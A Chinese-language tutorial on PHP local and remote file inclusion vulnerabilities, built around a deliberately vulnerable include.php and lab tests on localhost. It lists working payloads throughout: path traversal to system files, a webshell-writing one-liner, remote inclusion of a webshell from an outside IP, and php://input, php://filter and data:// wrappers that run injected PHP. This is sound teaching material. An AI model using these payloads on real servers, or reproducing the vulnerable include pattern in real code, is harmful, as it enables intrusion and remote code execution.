产生原因:
开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
实际上被包含文件可以是任意格式的,可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含,并以当前服务器脚本语言执行。
典型特征:
变量的后面跟的是文件名或者url,就很可能又文件包含漏洞
变量的值为一个页面:
?page=a.php
?home=b.html
?file=content
分类:(本地文件包含/远程文件包含)
本地文件包含(LFI):
没有拼接字符串:
?filename=./www.txt
?filename=../www.txt
?filename=c:/windows/win.ini
?filename=webshellmake.php //创建一个webshell
Fputs:file 规定要写入的打开文件
String 规定要写入文件的字符串
有拼接字符串:
?filename=c:/windows/win.ini%00
include.php文件
<?php
$filename=$_GET['filename'];
include($filename);
?>
环境搭建
写一个include.php文件
实验
1.访问同一个文件夹的php
http://127.0.0.1/include/include.php/?filename=phpinfo.php
2.跨盘访问
http://127.0.0.1/include/include.php/?filename=C:\111222.txt
#或者
http://127.0.0.1/include/include.php/?filename=file://C:\111222.txt
#没有写file的话默认就是file
3.利用fputs和fopen函数实行php文件生成
<?php fputs(fopen("shell.php",'w'),'<?pho phpinfo();?>')?>
#这里有一个要注意的是fopen后面一定要写上w(写入权限),不然phpinfo是写入不进去shell.php的
#fputs:前面指定文件名,后面写入要写入文件的字符串
#fopen:打开某个文件,如果没有的话就在本地进行创建
远程文件包含(RFI)
远程文件包含(RFI) 一般 PHP 默认关闭远程包含,开启远程文件包含功能需要在 php.ini 中修改:
allow_url_include = on
allow_url_fopen = on
payload:
?filename=http://www.baidu.com/xx.php
10.11.12.1/webshellmake.php
?filename=http://<IP>/webshellmake.php //利用远程文件包含创建 webshell
php伪协议:PHP支持的封装协议
file://:访问本地文件系统
?filename=file://C:\Windows\win.ini
解释:用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
不加默认是file
php://filter:访问各个输入输出流
?filename=php://filter/read=convert.base64-encode/resource=webshellmake.php
解释:一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://input
?filename=php://input 【POST DATA】 <?php phpinfo();?>
解释:php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注意:
①php://input与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据
②multipart/form-data:指定传输数据为二进制类型,比如图片、mp3、文件。
为什么可以直接执行php代码?
自定义写入php代码,再当前页面下执行PHP代码 因为前面是php文件,所以可以执行后面的php语句。要是后面是asp代码就不行了
再post请求的请求体中进行传递php代码
data://:数据
?filename=data://text/plain,<?php%20phpinfo();?>
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
解释:数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 具体的符号要url编码,不然对方识别不到
再get请求中直接传递php代码,并且可以进行base64加密
再get中进行base64加密之后,要把base64中的符号进行url编码